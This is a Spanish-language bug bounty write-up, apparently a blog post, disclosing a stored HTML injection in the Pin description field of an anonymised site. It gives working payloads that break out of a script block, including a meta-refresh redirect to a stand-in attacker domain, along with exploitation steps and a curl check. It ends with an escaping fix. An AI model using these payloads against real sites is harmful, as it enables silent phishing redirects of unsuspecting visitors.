Pentires.com: Stored HTML Injection en Descripción de Pin — Ejecución para Usuarios No Autenticados

📅 Fecha del reporte: 3 de febrero de 2026  |  Plataforma: Pentires.com (Bug Bounty)  |  Severidad: Alta

🔒 Nota de anonimización: Este reporte ha sido publicado con los datos del cliente modificados para proteger su privacidad. El dominio real ha sido sustituido por pentires.com y los IDs de Pin son ficticios. La técnica y los hallazgos son reales y fueron reportados a través del programa de Bug Bounty oficial.

zedeq — política de divulgación responsable

Resumen del Hallazgo

Descubrí una vulnerabilidad de inyección de HTML almacenada (Stored HTML Injection) en el campo de descripción de los Pins de Pentires.com. El payload se almacena sin sanitización y se serializa dentro de un bloque <script> de datos Relay. Al contener la secuencia </script>, el atacante cierra prematuramente el bloque JSON y puede inyectar HTML arbitrario en el DOM.

La vulnerabilidad afecta a dos URLs distintas con vectores de impacto diferentes, siendo la URL canónica del Pin (sin /analytics) la más grave al afectar a cualquier usuario no autenticado que reciba el enlace por cualquier canal.

Pre-Requisito: Cuenta Business Gratuita

El endpoint /analytics sólo está disponible en cuentas Business. Sin embargo, la conversión es gratuita e instantánea:

  1. Crear una cuenta gratuita en Pentires.com
  2. Ir a Configuración → Convertir a cuenta Business (gratuito, instantáneo)
  3. Crear un Pin — esto desbloquea el endpoint /analytics

⚠️ Importante: la URL canónica /pin/[ID]/ afecta a usuarios no autenticados sin necesidad de cuenta Business — cualquier usuario puede crear un Pin estándar.

Mecanismo de la Inyección

El campo descripción del Pin se serializa sin escapar dentro de un bloque <script type="text/javascript"> de datos Relay. La secuencia </script> en el payload cierra el bloque del script y permite insertar HTML directamente en el DOM:

<!-- Payload 1: Prueba de concepto (HTML injection) -->
</script><h1>vulnerable</h1>

<!-- Payload 2: Open redirect silencioso (máximo impacto) -->
</script><meta http-equiv="refresh" content="0;url=https://attacker.com">

<!-- Mecanismo: el campo descripción se serializa sin escapar
     dentro de un bloque <script> de datos Relay (JSON):
     window.__PWS_RELAY_REGISTER_COMPLETED_REQUEST__(
       "..."description":"</script><h1>vulnerable</h1>..."
     );
     El cierre </script> rompe el bloque JSON y permite
     inyectar HTML arbitrario en el DOM. -->
HTML

Paso 1 — Punto de Inyección

Editar o crear un Pin e introducir el payload en el campo descripción. El contenido se almacena tal cual en el backend:

# PUNTO DE INYECCIÓN — campo descripción del Pin
# URL: https://pentires.com/pin/[ID]/

Payload básico (HTML injection):
</script><h1>vulnerable</h1>

Payload de redirección (máximo impacto):
</script><meta http-equiv="refresh" content="0;url=https://attacker.com">

Paso 2 — Punto de Ejecución: /analytics

Al visitar la URL de analytics del Pin, el HTML inyectado se renderiza en el navegador. No se requiere login:

# PUNTO DE EJECUCIÓN — endpoint de analytics
# URL: https://pentires.com/pin/[ID]/analytics
# Acceso: sin login requerido (público)

# Verificación en fuente de la página:
$ curl -s "https://pentires.com/pin/[ID]/analytics" | grep -i "vulnerable"
<h1>vulnerable</h1>   ← HTML inyectado renderizando en el navegador

Paso 3 — Superficie Ampliada: URL Canónica del Pin

Durante pruebas adicionales confirmé que la inyección también ejecuta en la URL canónica del Pin para usuarios no autenticados. Esta URL es la que se comparte por defecto en todas las plataformas:

# EJECUCIÓN TAMBIÉN EN URL CANÓNICA (hallazgo ampliado)
# URL: https://pentires.com/pin/[ID]/
# Afecta a: usuarios NO autenticados

# Con payload de redirección activo:
# 1. Víctima recibe enlace: https://pentires.com/pin/[ID]/
# 2. Browser muestra pentires.com en la barra de direcciones
# 3. Meta-refresh redirige silenciosamente a dominio del atacante
# 4. Víctima nunca sospecha — la URL de origen era legítima

URLs Afectadas

# URLs afectadas (anonimizadas)
# ─────────────────────────────────────────────────────────
# URL 1 — Analytics endpoint (todos los usuarios)
https://pentires.com/pin/[ID]/analytics
   Requiere: cuenta Business gratuita para crear el Pin
   Afecta:   cualquier usuario (autenticado o no)
   Indexada: sí, por motores de búsqueda

# URL 2 — URL canónica del Pin (usuarios no autenticados) ← NUEVA
https://pentires.com/pin/[ID]/
   Requiere: nada  URL estándar de cualquier Pin
   Afecta:   usuarios NO logueados
   Indexada:  (URL principal de SEO de cada Pin)
   Compartida en: WhatsApp, Twitter, email, SMS, etc.

Evidencia en Código Fuente

La siguiente captura muestra el código fuente de la página afectada. Se puede observar cómo el bloque <script> de datos Relay es interrumpido por el payload, y el texto <h1>VULNERABLE</h1> aparece renderizado directamente en el DOM:

Captura del Inspector de Elementos mostrando el HTML inyectado ejecutándose en la página

Inspector de Elementos mostrando el HTML inyectado ejecutándose en pentires.com — el payload </script><h1>VULNERABLE</h1> rompe el bloque JSON-Relay
Figura 1: Vista del Inspector de Elementos. El payload cierra el bloque <script> de datos Relay e inyecta un <h1> directamente en el DOM. El texto «VULNERABLE» es visible en la página renderizada.
Captura real del Inspector de Elementos mostrando el HTML inyectado VULNERABLE ejecutándose en la página
Figura 1b: Captura real del reporte original. El bloque <script> de datos Relay es interrumpido por el payload, y el <h1>VULNERABLE</h1> aparece renderizado directamente. En la parte superior de la página se puede leer «VULNERABLE» en grande.

Resumen de Impacto

La siguiente tabla resume los vectores de ataque según el tipo de usuario afectado:

VectorURL afectadaUsuarios afectadosLogin requeridoIndexada
Analytics endpoint/pin/[ID]/analyticsTodos❌ No✅ Sí
URL canónica ← NUEVO/pin/[ID]/No autenticados❌ No✅ Sí

Con el payload de redirección (<meta http-equiv="refresh">), cualquier usuario que visite un enlace legítimo de pentires.com/pin/[ID]/ es redirigido silenciosamente a un dominio externo mientras la barra de URL del navegador sigue mostrando el dominio confiable.

Diagrama de Flujo del Ataque

Diagrama ilustrativo del flujo completo de la inyección almacenada

Diagrama de flujo completo: fase de almacenamiento del payload en el campo descripción y fase de ejecución en /analytics y /pin/[ID]/ para usuarios no autenticados
Figura 2: Flujo del ataque. El payload se almacena en la descripción del Pin y ejecuta en dos URLs distintas afectando a diferentes grupos de usuarios.
Mapa de superficie de ataque: comparación de los dos vectores, tipos de víctimas afectadas y cadena de phishing completa
Figura 3: Mapa de superficie de ataque. Los dos vectores difieren en el tipo de usuario afectado; el vector 2 (URL canónica) es el más crítico al impactar a usuarios no autenticados con URL legítima.

Conclusión

Este hallazgo demuestra que incluso en plataformas con grandes programas de Bug Bounty, la sanitización de campos de texto almacenado puede presentar puntos ciegos. El vector más crítico es la URL canónica del Pin, que es la misma que millones de usuarios comparten a diario en redes sociales, mensajería y correo electrónico.

🔐 Lección clave: Cualquier dato controlado por el usuario que se serialice dentro de un bloque <script> debe ser codificado para JSON de forma correcta, escapando al menos los caracteres </ como \u003C/ para evitar la ruptura del contexto del script.


0 0 votes
Article Rating
Subscribe
Notify of
guest
0 Comments